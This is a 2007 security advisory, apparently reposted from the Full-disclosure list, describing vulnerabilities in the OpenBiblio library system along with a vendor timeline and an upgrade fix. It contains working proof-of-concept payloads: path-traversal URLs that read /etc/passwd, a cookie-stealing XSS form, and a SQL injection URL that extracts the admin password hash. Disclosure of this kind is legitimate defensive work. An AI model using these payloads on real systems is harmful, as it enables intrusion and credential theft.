[Full-disclosure] OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities

2007-12-2800:00:00

vulners.com

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Security Advisory -
OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities -

Product: OpenBiblio
Version: Version 0.5.2 Prerelease 4 and prior is affected
Url: http://obiblio.sourceforge.net/
Affected by: Full path disclosure, local file include, phpinfo disclosure,
multiple Cross Site Scripting, SQL injection

I. Introduction.

OpenBiblio is an easy to use, automated library system written in PHP
containing OPAC, circulation,
cataloging, and staff administration functionality.
OpenBiblio library administration offers an intuitive interface with broad
category tabs and sidebar.

II. Description

OpenBiblio suffers multiple bugs.

1) Local File Include vulnerability: its posible to include any arbitrary
local file using shared/help.php file

Code -
if (isset($_GET["page"])) {
$page = $_GET["page"];
} else {
$page = "contents";
}
include("…/locale/".OBIB_LOCALE."/help/".$page.".php");
PoC -
http://site/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00

2) Local File Include (2) (only works with register_globals On and for non
php files magic_quotes_gpc must be Off)

Code -
<?php include("…/navbars/".$tab.".php");?>
PoC -
http://site/openbiblio/shared/header.php?tab=../../../etc/passwd%00

3) This link will show phpinfo

http://site/openbiblio/phpinfo.php

Remove it!

4) Path Disclosure

Some samples:

http://site/openbiblio/shared/footer.php
Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/shared/footer.php on line 18

http://site/openbiblio/circ/mbr_fields.php
Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/circ/mbr_fields.php on line 14

http://site/openbiblio/admin/custom_marc_form_fields.php
Fatal error: Cannot instantiate non-existent class: dmquery in
/httpdocs/openbiblio/admin/custom_marc_form_fields.php on line 14

Please, turn display_errors to Off in php.ini

6) Multiple Cross Site Scripting, an attacker can perform an XSS attack that
allows him to access the targeted user cookies

Some samples:

http://site/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]

http://site/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]

In /admin/theme_preview.php an attacker can inject an XSS in the var
themeName with method POST.
here is a poc:

<form action="http://site/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(
document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>

try with: <script>alert(document.cookie);</script>

6) SQL injection (session with report rol is needed to exploit this bug)

Any user with report rol can access any field of the database, including
admin md5 hash.

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++

with this an attacker can get the md5 admin password:

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++

then click "run report" and view the results, besides, you can choose
between html and csv format ;)

staff.username staff.pwd
admin 21232f297a57a5a743894a0e4a801fc3

III. Timeline

20/08/2006 - Bugs discovered
25/08/2006 - Vendor Contacted
30/08/2006 - Release 0.5.2 (parcial patch)
21/02/2007 - Release 0.6.0 (full patch)
28/12/2007 - Advisory Disclosure

IV. Solution

Upgrade to 0.6.0 from http://obiblio.sourceforge.net/
Good work! :)

V. Credits

Juan Galiana <jgaliana gmail com>

Regards

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